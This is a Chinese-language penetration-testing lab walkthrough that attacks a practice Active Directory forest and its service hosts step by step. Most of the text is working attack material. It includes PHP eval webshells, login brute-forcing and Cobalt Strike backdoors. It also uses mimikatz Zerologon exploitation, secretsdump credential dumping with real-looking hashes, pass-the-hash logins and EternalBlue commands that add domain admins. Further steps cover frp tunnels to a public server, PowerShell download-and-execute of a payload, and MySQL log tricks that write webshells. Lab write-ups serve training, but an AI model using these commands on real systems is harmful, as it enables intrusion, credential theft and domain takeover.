实战渗透域森林+服务森林(上)

admin 2021年9月24日08:56:56评论119 views字数 8877阅读29分35秒阅读模式

首先感谢大余师父搭的内网渗透靶场靶场总共分为两部分,一部分为域渗透,另一部分为服务攻防。整个靶场攻占涉及到的技术包括代理、域渗透攻击(置零攻击、域信任、票据传递、哈希传递等)、服务渗透攻击(Shiro反序列化、Struts2远程代码执行、ThinkPHP远程代码执行等)。我将从DAYU子域web服务器入手进行渗透,目标包括DAYU主域控、DAYU辅域控、DAYU子域控、独立域控、安全域控以及各类服务主机。具体靶场图如下:实战渗透域森林+服务森林(上)

0x01 配置代理

一、设置Proxifier

在mac下通过Proxifier设置全局代理,通过socks进入目标环境

x.x.x.x 10000
实战渗透域森林+服务森林(上)
image

二、配置hosts文件

在/etc/host下配置

192.168.73.137 www.dayugs.com
实战渗透域森林+服务森林(上)
image

0x02 攻击DAYU子域普通域客户机

一、弱口令爆破

访问http://www.dayugs.com,源码为yxcms实战渗透域森林+服务森林(上)通过资料查询,可以拿到yxcms的后台地址http://你的域名/index.php?r=admin/index/login,账号密码为admin/123456实战渗透域森林+服务森林(上)

那么访问http://www.dayugs.com/index.php?r=admin/index/login,即可访问到后台地址实战渗透域森林+服务森林(上)之后尝试弱口令爆破(虽然已经知道默认账号密码),首先该后台存在验证码,但是经测试它是可以重复利用的实战渗透域森林+服务森林(上)之后将数据包放入intruder中进行测试实战渗透域森林+服务森林(上)成功爆出密码为123456实战渗透域森林+服务森林(上)

通过该账号密码登录后台实战渗透域森林+服务森林(上)

选择前台模版,在index_index.php中插入一句话木马实战渗透域森林+服务森林(上)

<?php @eval($_POST['mac'])?>
实战渗透域森林+服务森林(上)
image

二、webshell上线

保存该配置,并通过蚁剑上线webshell实战渗透域森林+服务森林(上)测试连接,成功上线实战渗透域森林+服务森林(上)

三、CS上线

通过命令查看系统信息,目标web机器为64位操作系统

systeminfo

实战渗透域森林+服务森林(上)通过ping命令发现该web服务器出网实战渗透域森林+服务森林(上)在V-P-S上通过Cobalt Strike生成windows后门

这里使用CS可能会遇到这几个问题

1、 java未安装 解决方法:teamserver基于java,所以需要先安装java

yum install java
实战渗透域森林+服务森林(上)
image

2、客户端无法连接问题 解决方法:

在控制台上开放50050端口实战渗透域森林+服务森林(上)

关闭linux防火墙

systemctl stop firewalld.service

服务端开启CS

./teamserver x.x.x.x adminadmin

连接Cobalt Strike,配置IP和账号密码实战渗透域森林+服务森林(上)设置监听器并生成后门实战渗透域森林+服务森林(上)

上传后门并执行上线CS实战渗透域森林+服务森林(上)

这里又遇到了问题,执行后CS不上线,发现还是腾讯云控制台的问题,需放通全部端口实战渗透域森林+服务森林(上)

之后可以成功上线实战渗透域森林+服务森林(上)

四、通过MS14-068提权

通过dayu插件进行MS14-068提权实战渗透域森林+服务森林(上)选择监听器,运行后提权实战渗透域森林+服务森林(上)成功提权web服务器的system权限实战渗透域森林+服务森林(上)

0x03 攻击DAYU子域控服务器

一、web服务器信息收集

本机信息收集存在双网卡,分别为192.168.73.0/24以及10.10.10.0/24网段实战渗透域森林+服务森林(上)

主机名 : web
网卡1 : 192.168.73.137
网卡2 : 10.10.10.101
默认网关 : 10.10.10.1
域名 : ziyu.dayu.com

上传nbtscan后对两个网段进行扫描,发现192.168.73.0/24为外网网段,10.10.10.0/24则为内网网段,于是重点关注后者实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)发现三台DC,分别是10.10.10.5、10.10.10.6、10.10.10.66,分别对应域为DAYU、DAYU、AQ,唯独没有发现当前子域的域控,于是尝试ping该域,获得IP地址,为10.10.10.6实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

通过信息整合,10.10.10.0/24网段下主机信息收集如下

10.10.10.5 : DAYU主域控
10.10.10.6 : DAYU辅域控
10.10.10.10 : DAYU子域控
10.10.10.66 : AQ域控
10.10.10.90 : DAYU普通域用户
10.10.10.101 : DAYU子域普通用户(本机)

二、检查是否存在CVE-2020-1472漏洞

在文件管理中上传一个mimikatz.exe实战渗透域森林+服务森林(上)执行命令检测是否存在CVE-2020-1472

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$" "exit"
实战渗透域森林+服务森林(上)
image

发现存在该漏洞,可以通过以下命令进行置零攻击

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$ /exploit" "exit"
实战渗透域森林+服务森林(上)
image

三、通过frp建立隧道

(一)相关配置

配置frps.ini和frpc.ini frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

frpc.ini

[common]
server_addr = 1.117.58.131
server_port = 7000
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

(二)命令执行

向V-P-S上传frps.ini和frps,向web服务器上传frpc和frpc.ini,并通过命令执行,建立隧道实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

设置proxychains.conf实战渗透域森林+服务森林(上)

通过代理远程连接10.10.10.10的3389端口,frp隧道建立成功实战渗透域森林+服务森林(上)

四、获取管理员hash值

通过impacket-secretsdump对子域控进行无密码hash读取

proxychains impacket-secretsdump -no-pass -just-dc ziyu.dayu.com/ZIYU$@10.10.10.10
实战渗透域森林+服务森林(上)
image

五、CS上线

在CS上建立中转监听实战渗透域森林+服务森林(上)设置名字和监听地址实战渗透域森林+服务森林(上)之后生成mac.exe木马实战渗透域森林+服务森林(上)

(一)利用wmicexec.py进行攻击

proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./[email protected]

实战渗透域森林+服务森林(上)上传木马mac.exe并执行

put mac.exe

实战渗透域森林+服务森林(上)但是这里无法上线,可能是防火墙开着,于是使用taowu的插件将web服务器的防火墙进行关闭,之后成功上线CS实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

(二)利用永恒之蓝进行攻击

进入msf后

msf > use auxiliary/admin/smb/ms17_010_command
msf > setg Proxies socks5:1.117.58.131:6000
msf > setg ReverseAllowProxy true
msf > set command whoami
msf > set rhosts 10.10.10.10
msf > run

实战渗透域森林+服务森林(上)通过永恒之蓝创建域管理员

net user mac1 QWEasd123 /add /domain 
net group "domain admins" mac1 /add /domain
net user /domain
net user mac1 /domain

可以看到mac1已经是域管账号了,在CS中通过IPC连接域控

shell net use \10.10.10.10ipc$ "QWEasd123" /user:mac1
shell net use
shell dir \10.10.10.10c$

实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

之后在web服务器上传木马再通过IPC上传木马

shell copy mac1.exe \10.10.10.10c$

六、恢复hash

在CS的域控中执行操作:

(一)将system.save、sam.save、security.save三个文件拷贝到本地

先将三个文件保存下来

reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
实战渗透域森林+服务森林(上)
image

在kali使用wmic获取shell操作(可能会掉线) 下载

get system.save
get sam.save
get security.save

删除域控中的文件

del /f system.save
del /f sam.save
del /f security.save
实战渗透域森林+服务森林(上)
image

(二)secretsdump获取原hash

使用impacket中的secretsdump,从上面得到的几个文件中还原账户哈希值。

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
实战渗透域森林+服务森林(上)
image

得到$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:6cb780aa112acd1199cb9fd57a24fd02

(三)恢复密码

proxychains python3 reinstall_original_pw.py ZIYU 10.10.10.10 6cb780aa112acd1199cb9fd57a24fd02

显示Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.,说明恢复成功实战渗透域森林+服务森林(上)也可以通过hex来进行恢复,命令如下

proxychains python3 restorepassword.py ZIYU0ZIYU -target-ip 10.10.10.10 -hexpass [hex]

检查情况

net group "domain controllers" /domain

七、子域信息收集

通过ipconfig和systeminfo发现该域控为win server 2016系统,且存在两个网卡,分别为10.10.10.0/24和10.12.10.0/24

实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

实战渗透域森林+服务森林(上)上传nbtscan,并对新网段进行扫描实战渗透域森林+服务森林(上)发现10.12.10.3,为独立域的域控实战渗透域森林+服务森林(上)

0x04 攻击DAYU父域主域控服务器

一、利用CVE-2020-1472漏洞

上传mimikatz对父域控进行置零漏洞探测

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$" "exit"

实战渗透域森林+服务森林(上)通过探测,发现存在该漏洞,于是执行置零攻击

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$ /exploit" "exit"
实战渗透域森林+服务森林(上)

通过impacket-secretsdump导出hash值

proxychains impacket-secretsdump -no-pass -just-dc WIN-AMJ9T9TL123.dayu/WIN-AMJ9T9TL123$@10.10.10.5

实战渗透域森林+服务森林(上)拿到hash值,为99b81196c641b05ce3cb7fcd7c27e094

二、利用wmiexec空密码登录

使用wmiexec登陆进Administrator账户

proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./[email protected]
实战渗透域森林+服务森林(上)
截屏2021-08-25 上午9.29.24.png

三、CS上线

在CS上建立中转监听,同时生成木马mac2.exe实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

通过wmicexec.py上传mac2.exe实战渗透域森林+服务森林(上)成功上线CS实战渗透域森林+服务森林(上)

0x05 攻击DAYU父域辅域控服务器

一、利用CVE-2020-1472漏洞

上传mimikatz对父域控进行置零漏洞探测

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.6 /account:FUYU$" "exit"

实战渗透域森林+服务森林(上)说明该辅域也是存在该漏洞的,那么可以通过置零攻击来获取administrator的shell,但是因为辅域和主域的hash值相同,那么可以通过wmiexec直接获取shell

二、利用wmiexec登录

proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./[email protected]
实战渗透域森林+服务森林(上)

三、CS上线

与进攻父域的主域控一样,上传mac2.exe

put mac2.exe
mac2.exe

实战渗透域森林+服务森林(上)执行后成功上线CS实战渗透域森林+服务森林(上)

0x06 攻击DAYU父域普通域客户机

一、信息收集

使用nmap对其进行端口探测,发现存在一个8080端口

proxychains nmap -sT -sV -Pn --open -p 8080,3306,6379,80,1433,27017 10.10.10.90
实战渗透域森林+服务森林(上)
截屏2021-08-25 上午10.54.07

发现只有8080端口是开放的,通过firefox对其进行访问,发现目标站点使用的JBoss中间件

proxychains firefox http://10.10.10.90:8080
实战渗透域森林+服务森林(上)

二、JBoss利用并上线CS

工具地址:https://github.com/joaomatosf/jexboss 下载利用工具并对目标进行JBoss漏洞探测

git clone https://github.com/joaomatosf/jexboss
proxychains python jexboss.py -host http://10.10.10.90:8080

实战渗透域森林+服务森林(上)选择yes,成功获取shell实战渗透域森林+服务森林(上)将mac2.exe放入10.10.10.101这台web服务器上实战渗透域森林+服务森林(上)利用powershell进行下载执行

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/mac2.exe','mac2.exe');start-process mac2.exe

实战渗透域森林+服务森林(上)成功上线CS实战渗透域森林+服务森林(上)

0x07 攻击安全域域控服务器

一、信息收集

使用nmap对其进行端口探测,发现存在一个8080端口

proxychains nmap -sT -sV -Pn --open -p 8080,3306,6379,80,1433,27017 10.10.10.66
实战渗透域森林+服务森林(上)
截屏2021-09-01 下午3.21.46

发现80、3306、8080端口是开放的,通过firefox对8080端口进行访问

proxychains firefox http://10.10.10.66:8080
proxychains firefox http://10.10.10.66:80

80端口为phpstudy默认界面,8080端口为tomcat的管理界面,访问登录口http://10.10.10.66:8080/manager/html报错实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

对8080端口进行目录扫描,发现http://10.10.10.66:8080/shiro为shiro框架实战渗透域森林+服务森林(上)

二、shiro反序列化利用并上线

工具:https://github.com/zhzyker/shiro-1.2.4-rce 验证漏洞是否存在

git clone https://github.com/zhzyker/shiro-1.2.4-rce.git
cd shiro-1.2.4-rce
proxychains python3 shiro-1.2.4_rce.py http://10.10.10.66:8080/shiro/

其中出现问题,通过以下方式解决报错No module named 'Crypto'

pip install pycryptodome
pip install crypto
pip install pycrypto
实战渗透域森林+服务森林(上)

在执行前需要先将key_list修改实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)通过powershell下载mac2.exe并执行

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/mac2.exe','mac2.exe');start-process mac2.exe

但是显示key错误,无法上线实战渗透域森林+服务森林(上)

三、mysql日志写入shell并上线CS

通过目录扫描发现http://10.10.10.66:80/phpmyadmin,通过弱口令成功登录

proxychains firefox http://10.10.10.66:80/phpmyadmin

实战渗透域森林+服务森林(上)通过into outfile写入shell

show global variables like "%secure_file_priv%";
实战渗透域森林+服务森林(上)
截屏2021-09-01 下午5.33.07.png

结果为null,表示无法导入导出,于是查看日志

show variables like "general%";

实战渗透域森林+服务森林(上)可以看到日志已开启,也可以修改日志文件位置

set global general_log="ON";
set global general_log_file='C:/phpStudy/WWW/mac1.php';
show variables like "general%";
实战渗透域森林+服务森林(上)

写入一句话木马

select '<?php @eval($_POST[mac]);?>'
实战渗透域森林+服务森林(上)

访问http://10.10.10.66/mac.php,成功写入实战渗透域森林+服务森林(上)

连接蚁剑,设置代理为1.117.58.131 6000,成功上线实战渗透域森林+服务森林(上)

上传mac2.exe并执行,成功上线CS实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

0x08 攻击安全域涉密客户机

一、信息收集

通过对涉密域进行信息收集,上传fscan实战渗透域森林+服务森林(上)扫描结果如下实战渗透域森林+服务森林(上)存在涉密域,IP为201.1.10.206,且上面部署了http服务

二、构建二级frp

(一)相关配置

安全域frpc.ini配置如下

[common]
server_addr = 10.10.10.101
server_port = 12000
[http_proxy]
type = tcp
remote_port = 1096
plugin = socks5

Web服务器frps.ini配置如下

[common]
bind_addr = 10.10.10.101
bind_port = 12000

Web服务器frpc.ini配置如下

[common]
server_addr = 1.117.58.131
server_port = 12000
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1096
remote_port = 1096

公网服务器frps.ini配置如下

[common]
bind_addr = 0.0.0.0
bind_port = 12000

(二)命令执行

首先先开启服务端的frp,在web服务器和公网服务器下执行如下命令

frps.exe -c frps.ini
./frps -c frps.ini

实战渗透域森林+服务森林(上)之后在安全域中执行

frpc.exe -c frpc.ini

实战渗透域森林+服务森林(上)最后在web服务器中执行

frpc.exe -c frpc.ini

实战渗透域森林+服务森林(上)注意:需要开启proxy success成功才行

在proxychains添加代理

vim /etc/proxychains.conf
实战渗透域森林+服务森林(上)

三、mysql弱口令连接并上线CS

通过访问http://201.1.10.206:8080

proxychains firefox http://201.1.10.206:8080

实战渗透域森林+服务森林(上)访问http://201.1.10.206:8080/manager/html不可进入实战渗透域森林+服务森林(上)

于是开启msf,通过设置代理对目标机器进行mysql密码爆破

msfconsole
msf > use auxiliary/scanner/mysql/mysql_login
msf > setg Proxies socks5:1.117.58.131:1096
msf > setg ReverseAllowProxy true
msf > set rhosts 201.1.10.206
msf > set PASSFILE xxx
msf > exploit

爆破得到密码为root,同时直接登录mysql

proxychains mysql -u root -proot -h201.1.10.206

查看是否拥有写入文件的权限和写入位置,空表示可以写入任意位置

show global variables like '%secure_file_priv%';

写入木马到网站目录下

select '<?php @eval($_POST[mac]);?>' into outfile 'C:/phpStudy/WWW/mac1.php';

实战渗透域森林+服务森林(上)于是访问http://201.1.10.206/mac1.php,访问成功,说明存在实战渗透域森林+服务森林(上)

连接蚁剑,设置代理为1.117.58.131 1096,成功连接实战渗透域森林+服务森林(上)

之后在安全域(201.1.10.5)中设置中转监听,同时生成木马mac3.exe实战渗透域森林+服务森林(上)实战渗透域森林+服务森林(上)

上传mac3.exe并执行实战渗透域森林+服务森林(上)成功上线CS实战渗透域森林+服务森林(上)

还可以通过80端口的phpmyadmin来上线,在攻击涉密域中会讲到,欢迎大家继续关注实战域森林+服务森林下篇


原文地址:https://www.freebuf.com/articles/network/288127.html

我是特mac0x01,欢迎大家关注亿人安全


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月24日08:56:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战渗透域森林+服务森林(上)http://cn-sec.com/archives/555181.html

发表评论

匿名网友 填写信息